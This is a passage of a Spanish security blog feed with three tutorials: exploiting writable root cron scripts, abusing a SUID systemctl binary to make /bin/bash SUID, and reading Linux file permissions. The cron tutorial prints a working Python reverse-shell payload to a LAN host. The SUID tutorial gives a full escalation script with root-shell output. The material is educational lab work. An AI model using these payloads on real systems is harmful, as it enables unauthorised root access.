<p>Que la Fuerza os acompañe</p>

<p>DiegoAltF4</p>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><category term="spanish" /><category term="archive" /><summary type="html"><![CDATA[En el artículo de hoy, vamos a ver el reto VulnLawyers.]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/writeup-vulnlawyers-ctfchallenge/cover.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/writeup-vulnlawyers-ctfchallenge/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Explotación tareas Cron | Linux PrivEsc 02</title><link href="https://diegoaltf4.com/privesc-02/" rel="alternate" type="text/html" title="Explotación tareas Cron | Linux PrivEsc 02" /><published>2021-07-31T11:36:13+00:00</published><updated>2021-07-31T11:36:13+00:00</updated><id>https://diegoaltf4.com/privesc-02</id><content type="html" xml:base="https://diegoaltf4.com/privesc-02/"><![CDATA[<p>Hola a todos y bienvenidos a un nuevo artículo. Hoy vamos a continuar con la serie de artículos sobre escalada de privilegios en Linux, en concreto, trataremos la <strong>explotación de tareas Cron.</strong></p>

<p>Lo primero de todo, vamos a entender qué es una tarea Cron y cómo podemos crearlas.</p>

<p>Las tareas Cron se utilizan para programar tareas que se van a ejecutar a<strong>intervalos regulares de tiempo</strong>, es decir, en fechas y horas específicas. Habitualmente, se utilizan para programar <strong>copias de seguridad</strong>, borrados de archivos, envío de logs, etc.</p>

<p>Las tareas Cron tienen una sintaxis específica que nos va a permitir indicar qué tipo de tarea queremos ejecutar, cada cuanto tiempo ha de ejecutarse, qué usuario va a ejecutar la tarea, etc.</p>

<p><img class="post-img" src="/assets/posts/privesc-02/sintaxis.webp" alt="" loading="lazy" /></p>

<h3 id="creación-tarea-cron">Creación tarea Cron</h3>

<p>Vamos a desarrollar un pequeño script en <strong>Python3</strong> que nos permita hacer una copia de un fichero que tengamos en una carpeta y lo guarde en otra llamada “Backup”.</p>

<p><img class="post-img" src="/assets/posts/privesc-02/codigoCronPython-2.webp" alt="" loading="lazy" /></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/usr/bin/python3
import sys
import time
import subprocess
from pwn import *
if __name__ == "__main__":
    log.progress("Comenzando con la copia")
    result = subprocess.run(["cp", "/home/diego/articulosBlog/explotacionTareasCron/privado/documentos.txt", "/home/diego/articulosBlog/explotacionTareasCron/backup"], capture_output=True, text=True)
    if (result.returncode == 0):
        log.info("Copia completada")
        sleep(1)
    else:
        log.info("Ha ocurrido un error")
</code></pre></div></div>

<p>Para poder explotar las tareas Cron es necesario que los permisos (del script que se va a ejecutar) estén <strong>mal configurados</strong>. Por tanto, asignaremos permisos de escritura a “otros” (<em>chmod o+w</em>).</p>

<p>Una vez tengamos el script y los permisos configurados, estamos listos para configurar la tarea Cron. Para ello, tenemos que <strong>editar el fichero</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/etc/crontab
</code></pre></div></div>

<p>Siguiendo la sintaxis de las tareas Cron previamente explicada, podemos programar una tarea en la que, el usuario <strong>root</strong> ejecute el script, anteriormente desarrollado, cada minuto. Para ello, añadimos la siguiente línea:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code> * * * * * root python3 /home/diego/articulosBlog/explotacionTareasCron/script.py
</code></pre></div></div>

<p>Si nos fijamos, el script copia el contenido del fichero <strong>“documentos.txt”</strong> que está en la ruta:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/home/diego/articulosBlog/explotacionTareasCron/script.py
</code></pre></div></div>

<p>a la ruta:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/home/diego/articulosBlog/explotacionTareasCron/backup/documentos.txt
</code></pre></div></div>

<p>Esta acción tan simple se va a ejecutar cada minuto por parte del usuario root, pero para ello es necesario arrancar el <strong>demonio</strong> de Cron.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo service cron start
</code></pre></div></div>

<p>Y podemos comprobar el estado del demonio mediante el comando:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo service cron status
</code></pre></div></div>

<p>Finalmente, ya tendríamos la tarea Cron configurada.</p>

<h3 id="detección-de-tareas-cron">Detección de tareas Cron</h3>

<p>La búsqueda de tareas Cron es un paso muy habitual a la hora de <strong>enumerar</strong> posibles vías para escalar privilegios. Podríamos desarrollar un  pequeño script que nos las detecte (de una manera muy básica) o usar alguno desarrollado con importantes mejoras. Yo os voy a enseñar cómo usar <a href="https://github.com/DominicBreuker/pspy">pspy</a>.</p>

<p><strong>Pspy</strong> es una herramienta muy interesante que nos va a permitir ver las tareas Cron que se ejecutan en el sistema, al igual, que el usuario que las ejecuta. Está programado en <strong>Go</strong> y para poder usarlo podemos compilarlo nosotros o descargar la <a href="https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64">versión compilada</a></p>

<p>El uso es muy sencillo, le damos <strong>permisos</strong> de ejecución y lo lanzamos (<em>./pspy64</em>). Empezaremos a ver tareas que se ejecutan a intervalos regulares de tiempo, entre ellas, tiene que estar la que acabamos de crear:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>2021/07/23 20:51:01 CMD: UID=0 PID=158638 | python3 /home/diego/articulosBlog/explotacionTareasCron/script.py
</code></pre></div></div>

<p>Como vemos el <strong>UID</strong> es 0 lo que indica que lo está ejecutando root y vemos la ruta del script.</p>

<h3 id="explotación-tareas-cron">Explotación tareas Cron</h3>

<p>Ahora, un posible atacante con privilegios de usuario comprobaría los permisos de ese script, que se ejecutará como <strong>root</strong>, y como <strong>“otros”</strong> tienen permiso de escritura, podría modificarlo.</p>

<p>Por ejemplo, podría aprovechar esta vulnerabilidad para obtener una <strong>reverse shell</strong>, obteniendo acceso con privilegios elevados.</p>

<p>Modificamos el contenido del script por el siguiente:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/python3
import sys
import time
import subprocess
from pwn import *

if __name__ == "__main__":
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.139",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])
</code></pre></div></div>

<p><img class="post-img" src="/assets/posts/privesc-02/codigoReverseShell-2.webp" alt="" loading="lazy" />
Nos ponemos en escucha por el puerto 1234. Cuando se ejecute el script obtendremos acceso como el usuario root <strong>¡Escalada de privilegios conseguida!</strong></p>

<p><img class="post-img" src="/assets/posts/privesc-02/Captura-de-pantalla-2021-07-30-a-las-21.41.17.webp" alt="" loading="lazy" /></p>

<p>Espero que hayáis aprendido y os haya gustado
Que la Fuerza os acompañe</p>

<p>DiegoAltF4</p>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><category term="spanish" /><category term="archive" /><summary type="html"><![CDATA[Hola a todos y bienvenidos a un nuevo artículo. Hoy vamos a continuar con la serie de artículos sobre escalada de privilegios en Linux, en concreto,…]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/privesc-02/cover.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/privesc-02/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Explotación Permisos SUID | Linux PrivEsc 01</title><link href="https://diegoaltf4.com/privesc01/" rel="alternate" type="text/html" title="Explotación Permisos SUID | Linux PrivEsc 01" /><published>2021-07-20T18:28:23+00:00</published><updated>2021-07-20T18:28:23+00:00</updated><id>https://diegoaltf4.com/privesc01</id><content type="html" xml:base="https://diegoaltf4.com/privesc01/"><![CDATA[<p>Tras haber visto el funcionamiento de los permisos en linux, he de comentaros que también existen un grupo de permisos un poco especiales como son los permisos SUID. En el artículo de hoy, trataremos la explotación de permisos SUID.</p>

<p>Los permisos SUID: cuando en un binario o fichero el bit SUID está activado significa que la persona que lo ejecute va a tener los mismos permisos que la persona que lo creó. Es decir, si lo creó root tendremos permisos <strong>root</strong>.</p>

<p>Para asignar un permiso <strong>SUID</strong> a un archivo o binario se utiliza el comando <strong><em>chmod</em></strong> añadiéndole un 4 al principio de los permisos que deseamos.</p>

<p>Por ejemplo, si miramos la ruta absoluta del binario systemctl <strong><em>/usr/bin/systemctl</em></strong> y miramos los permisos de ese binario:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rwxr-xr-x 1 root root 1058096 abr 12 20:21 /usr/bin/systemctl
</code></pre></div></div>

<p>Podemos ver que tiene el permiso <strong>“<em>755″</em></strong> pues si le añadimos un 4, es decir, <strong><em>4755</em></strong> estaríamos activando los permisos SUID en ese binario.</p>

<p>Y si ahora volvemos a mirar los permisos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rwsr-xr-x 1 root root 1058096 abr 12 20:21 /usr/bin/systemctl
</code></pre></div></div>

<p>Vemos que se ha activado un nuevo indicador una <strong><em>“s”.</em></strong></p>

<p>Podríamos buscar en el sistema todos los binarios o archivos que tienen permisos SUID mediante el siguiente comando:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(diegoaltf4㉿voldemort)-[~]
└─$ find / -perm -4000 2&gt;/dev/null
/usr/lib/openssh/ssh-keysign
/usr/bin/systemctl
/usr/bin/sudo
/usr/bin/su
</code></pre></div></div>

<p>Como vemos, el binario recientemente modificado (systemctl) se encuentra en la lista.</p>

<p>Este tipo de permisos, en ocasiones, pueden ser explotados para escalar privilegios. Por ejemplo, en este caso, podemos escalar privilegios y llegar a ser root.</p>

<p>Si buscamos en la página GTFObins podemos ver que para el binario systemctl hay una posible <strong>explotación</strong> de permisos SUID (<a href="https://gtfobins.github.io/gtfobins/systemctl/">https://gtfobins.github.io/gtfobins/systemctl/</a>)</p>

<p>En nuestro caso, vamos a modificar los permisos del binario <strong><em>/bin/bash</em></strong> para poder ejecutar una instancia de la misma como root. El script modificado sería:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>#!/bin/bash
TF=$(mktemp).service
echo '[Service]
Type=oneshot
ExecStart=/bin/sh -c "chmod +s /bin/bash"
[Install]
WantedBy=multi-user.target' &gt; $TF
/bin/systemctl link $TF
/bin/systemctl enable --now $TF
</code></pre></div></div>

<p><img class="post-img" src="/assets/posts/privesc01/carbon-3.webp" alt="" loading="lazy" /></p>

<p>Ejecutamos el script:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(diegoaltf4㉿voldemort)-[~/BLOG]
└─$ ./script
Created symlink /etc/systemd/system/tmp.qRdofPv7gk.service → /tmp/tmp.qRdofPv7gk.service.
Created symlink /etc/systemd/system/multi-user.target.wants/tmp.qRdofPv7gk.service → /tmp/tmp.qRdofPv7gk.service.
</code></pre></div></div>

<p>Si miramos los permisos del binario bash podemos ver cómo han sido modificados:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(diegoaltf4㉿voldemort)-[~/BLOG/]
└─$ which bash | xargs ls -la
-rwsr-sr-x 1 root root 1234376 feb 24 21:53 /usr/bin/bash
</code></pre></div></div>

<p>Por lo que ahora, podríamos ejecutar una bash con máximos privilegios:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(diegoaltf4㉿voldemort)-[~/BLOG/]
└─$ bash -p
bash-5.1# whoami
root
bash-5.1# id
uid=1000(diegoaltf4) gid=1000(diegoaltf4) euid=0(root) egid=0(root) grupos=0(root),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),109(netdev),118(bluetooth),121(wireshark),135(scanner),146(kaboxer),1000(diegoaltf4)
bash-5.1#
</code></pre></div></div>

<p>Espero que hayáis aprendido y os haya gustado
Que la Fuerza os acompañe</p>

<p>DiegoAltF4</p>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><category term="spanish" /><category term="archive" /><summary type="html"><![CDATA[Tras haber visto el funcionamiento de los permisos en linux, he de comentaros que también existen un grupo de permisos un poco especiales como son…]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/privesc01/cover.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/privesc01/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry><entry><title type="html">Lectura, interpretación y gestión de permisos en Linux</title><link href="https://diegoaltf4.com/lectura-interpretacion-y-gestion-de-permisos/" rel="alternate" type="text/html" title="Lectura, interpretación y gestión de permisos en Linux" /><published>2021-06-26T15:01:51+00:00</published><updated>2021-06-26T15:01:51+00:00</updated><id>https://diegoaltf4.com/lectura-interpretacion-y-gestion-de-permisos</id><content type="html" xml:base="https://diegoaltf4.com/lectura-interpretacion-y-gestion-de-permisos/"><![CDATA[<p>Hola a todos y bienvenidos a un nuevo artículo. En esta ocasión vamos a estar viendo un tema muy importante. <strong>La lectura, interpretación y gestión de permisos.</strong></p>

<p>La lectura, interpretación y gestión de permisos es una de las partes más importantes para cualquier usuario de Linux.  El conocimiento de los mismos nos va a permitir entender mejor el funcionamiento del árbol de directorios de GNU/Linux,  la gestión de usuarios, etc.</p>

<p>Vamos a comenzar viendo la creación de nuevos usuarios:</p>

<h3 id="creación-de-un-nuevo-usuario">Creación de un nuevo usuario:</h3>

<p>Para poder crear usuarios, necesitaremos usar el comando</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>useradd
</code></pre></div></div>

<p>Con <strong><em>-d</em></strong> se le indica el directorio personal, y con <strong><em>-s</em></strong> se le indica que, en cuanto a shell, quiero que tenga una <strong>bin bash.</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>useradd -d /home/usuarioNuevo -s /bin/bash nuevoUsuario
</code></pre></div></div>

<p>Para comprobar que se ha creado correctamente podemos mirar las características del usuario en el archivo <strong>passwd</strong>. En este archivo están registradas las cuentas de usuarios, las claves de acceso y los privilegios.</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>usuario:+M+/WYGuZYhApg/UWuBm8rmobFpimoAv:1001:1001::/home/usuario : /bin/bash
</code></pre></div></div>

<p><strong>usuario</strong>: nombre del usuario</p>

<p><strong>+M+/WYGuZYhApg/UWuBm8rmobFpimoAv</strong>: contraseña de acceso</p>

<p><strong>1001</strong>: UID del usuario</p>

<p><strong>1001</strong>: GID del grupo principal al que pertenece el usuario</p>

<p><strong>/home/usuario</strong>: Directorio de trabajo</p>

<p><strong>/bin/bash</strong>: Shell del usuario</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cat /etc/passwd |grep "sh$"
</code></pre></div></div>

<p>(el <strong><em>$</em></strong>indica que termine por esa palabra, en este caso todo lo que termina por <strong>SH</strong>).</p>

<p>La salida es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nuevoUsuario:x:1001:1001::/home/usuarioNuevo:/bin/bash
</code></pre></div></div>

<p>Siguiendo el esquema anterior podemos ver que la salida concuerda con todos los parámetros que habíamos especificado. El directorio personal, el tipo de shell…</p>

<p>Si ahora quisiéramos asignarle una contraseña al usuario:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>passwd nuevoUsuario
</code></pre></div></div>

<p>En nuestro caso vamos a usar <strong><em>1234</em></strong></p>

<p>Para indicar que el directorio “usuarioNuevo” tenga como <strong>owner</strong>al usuario <strong>nuevoUsuario</strong> y como <strong>grupo</strong> a <strong>nuevoUsuario</strong> usamos el comando:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chown nuevoUsuario:nuevoUsuario usuarioNuevo
</code></pre></div></div>

<p>Y podemos comprobarlo con</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ls -la
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drwxr-xr-x 2 nuevoUsuario nuevoUsuario 4096 jun 16 13:09 usuarioNuevo
</code></pre></div></div>

<p>Si ahora queremos migrar al usuario, hacemos <strong><em>su</em></strong>e indicamos la contraseña.</p>

<p>Para ver los grupos a los que pertenece el nuevoUsuario usamos el comando <strong><em>id</em></strong></p>

<p>La salida es:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>uid=1001(nuevoUsuario) gid=1001(nuevoUsuario) grupos=1001(nuevoUsuario)
</code></pre></div></div>

<p>Como podemos ver el <strong>nuevoUsuario</strong> no está dentro de ningún grupo <strong>privilegiado.</strong>Al no estar dentro del grupo <strong>sudoers</strong>no tiene privilegios para ser <strong>ROOT</strong> por lo que si hacemos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo su
</code></pre></div></div>

<p>y ponemos la contraseña. .</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nuevoUsuario is not in the sudoers file. This incident will be reported.
</code></pre></div></div>

<h3 id="lectura-permisos">Lectura permisos</h3>

<p>Para leer los permisos que tiene un directorio o archivo primero tenemos que listarlo, por ejemplo, usando el comando:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ls -la
</code></pre></div></div>

<p>y la salida será algo así:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drwxr-xr-x 2 nuevoUsuario nuevoUsuario 4096 jun 16 13:51 usuarioNuevo
</code></pre></div></div>

<p>La <strong><em>d</em></strong>indica que es un directorio.</p>

<p>r = <strong>read</strong></p>

<p>w = <strong>write</strong></p>

<p>x = si es para un directorio indica que se puede <strong>acceder</strong> al directorio y si es un fichero indica que se puede <strong>ejecutar</strong></p>

<p>Para poder leer los permisos hay dividirlo en bloques de tres.</p>

<p><img class="post-img" src="/assets/posts/lectura-interpretacion-y-gestion-de-permisos/2calidad.webp" alt="" loading="lazy" /></p>

<p>El primer bloque hace referencia al <strong>propietario</strong>. En este caso podemos ver como el propietario tiene capacidad de <strong>lectura</strong> (r), de <strong>alterar</strong> y de<strong>crear archivos</strong> (w) y también puede <strong>atravesar</strong> el directorio (x).</p>

<p>Con el segundo bloque ocurre lo mismo, pero hace referencia al <strong>grupo</strong>. Como tiene (r-x) significa que los usuarios del grupo tienen capacidad de lectura(r), no tienen capacidad de alterar y crear archivos (-) y sí pueden atravesar el directorio (x).</p>

<p>El tercer y último bloque hace referencia a “<strong>otros</strong>“. Cualquier otro usuario a nivel de sistema a excepción de <strong>root</strong>. La lectura de permisos es la misma que para los grupos.</p>

<p>Si, por ejemplo, yo fuese el usuario DiegoAltF4 (no propietario), podría hacer un <strong><em>ls</em></strong> de lo que hay en el directorio, es decir, podría <strong>leer</strong> los archivos y también podría <strong>acceder</strong> al directorio (cd), pero no podría crear contenido en la carpeta (<strong>no tiene permiso w</strong>).</p>

<p>Vamos a poner un ejemplo para que quede más claro.</p>

<p>Iniciamos sesión como nuevoUsario y en el directorio <strong>home</strong> creamos una <strong>carpeta:</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mkdir carpeta
</code></pre></div></div>

<p>Si miramos los permisos de la carpeta veremos que son:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drwxr-xr-x 2 nuevoUsuario nuevoUsuario 4096 jun 16 14:05 carpeta
</code></pre></div></div>

<p>Como el último bloque es un</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>r-x
</code></pre></div></div>

<p>significa que “otros” <strong>solo podrán leer y entrar al directorio,</strong> pero no podrán crear ningún archivo.</p>

<p>Vamos a comprobarlo.</p>

<p>Accedemos a la ruta:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/home/usuarioNuevo/carpeta
</code></pre></div></div>

<p>e intentamos hacer un:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>touch nuevoArchivo
</code></pre></div></div>

<p>Nos sale el siguiente mensaje:<strong><em>“touch: no se puede efectuar `touch’ sobre ‘nuevoArchivo’: Permiso denegado”</em></strong> y, efectivamente, se cumple lo que habíamos visto al principio</p>

<p>Si quisiéramos modificar estos permisos podríamos acceder como <strong><em>root</em></strong>haciendo un:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>sudo su
</code></pre></div></div>

<p>desde el usuario <strong><em>DiegoAltF4,</em></strong>que sí que se encuentra dentro del grupo <strong>sudoers.</strong>Con el comando<strong><em>chmod</em></strong>podemos modificar los permisos. Ejemplo: si queremos añadir el permiso de escritura para otros, podemos hacer:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod o+w carpeta
</code></pre></div></div>

<p>y con:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ls -la
</code></pre></div></div>

<p>vemos como ahora tienen</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drwxr-xrwx 2 nuevoUsuario nuevoUsuario 4096 jun 16 14:05 carpeta
</code></pre></div></div>

<p>Para quitar los permisos es igual, cambiando el + por un –</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod o-w carpeta
</code></pre></div></div>

<p>Vamos a poner otro ejemplo:</p>

<p>Vamos a acceder a la carpeta:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd carpeta
</code></pre></div></div>

<p><strong>Creamos un archivo de texto</strong> y escribimos algo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>nano archivo
</code></pre></div></div>

<p>si hacemos un:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ls -la
</code></pre></div></div>

<p>podemos ver los permisos que tiene ese nuevo archivo:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>-rw-r--r-- 1 nuevoUsuario nuevoUsuario 62 jun 16 14:05 archivo
</code></pre></div></div>

<p>Vemos que para <strong>“otros”</strong> solo está permitida la lectura por lo que si nos registramos como DiegoAltF4 y accedemos a la ruta:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/home/usuarioNuevo/carpeta
</code></pre></div></div>

<p>solo podremos leer el archivo, <strong>no podremos cambiarlo</strong></p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(diegoaltf4㉿voldemort)-[/home/usuarioNuevo/carpeta]
└─$ cat archivo
HOLA QUE TAL, SI LEES ESTO ES QUE TIENES PERMISOS DE LECTURA
</code></pre></div></div>

<p>pero si intentamos modificarlo, por ejemplo, con nano, nos advierte de que es solo de lectura.</p>

<p><strong><em>[ El fichero «archivo» no es de escritura ]</em></strong></p>

<h3 id="asignación-de-permisos-de-forma-decimal">Asignación de permisos de forma decimal</h3>

<p>La asignación de permisos también puede hacerse de forma <strong>decimal</strong>. Es decir, hay una conversión de las letras que hemos estado viendo hasta ahora, a decimal.</p>

<p>Si, por ejemplo, un archivo tiene los siguientes permisos</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>rwx r-- r-x
</code></pre></div></div>

<p>Para hacer la conversión, donde tenemos un <strong>–</strong> equivale un <strong>0.</strong>En caso contrario, si tenemos un carácter es un <strong>1</strong>.</p>

<p>En el ejemplo anterior el resultado sería:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>111 100 101
</code></pre></div></div>

<p>y ahora solo falta pasarlo a <strong>decimal</strong>:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>7 4 5
</code></pre></div></div>

<p>para comprobarlo hacemos:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>chmod 745 archivo
</code></pre></div></div>

<p>y vemos los permisos con:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>ls -la
</code></pre></div></div>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>drwxr--r-x 2 nuevoUsuario nuevoUsuario 4096 jun 16 14:05 carpeta
</code></pre></div></div>

<p>El resultado es exactamente el que habíamos calculado:</p>

<p><img class="post-img" src="/assets/posts/lectura-interpretacion-y-gestion-de-permisos/foto1.webp" alt="" loading="lazy" /></p>

<p>Por tanto, podemos modificar los permisos en Linux de las dos maneras.</p>

<p>Espero que hayáis entendido el artículo. Que la lectura, interpretación y gestión de permisos en Linux no sea un problema para vosotros y, sobre todo, que os haya gustado.</p>

<p>Que la Fuerza os acompañe</p>

<p>DiegoAltF4</p>]]></content><author><name>Diego Palacios</name></author><category term="blog" /><category term="spanish" /><category term="archive" /><summary type="html"><![CDATA[Hola a todos y bienvenidos a un nuevo artículo. En esta ocasión vamos a estar viendo un tema muy importante. La lectura, interpretación y gestión de…]]></summary><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://diegoaltf4.com/assets/posts/lectura-interpretacion-y-gestion-de-permisos/cover.webp" /><media:content medium="image" url="https://diegoaltf4.com/assets/posts/lectura-interpretacion-y-gestion-de-permisos/cover.webp" xmlns:media="http://search.yahoo.com/mrss/" /></entry></feed>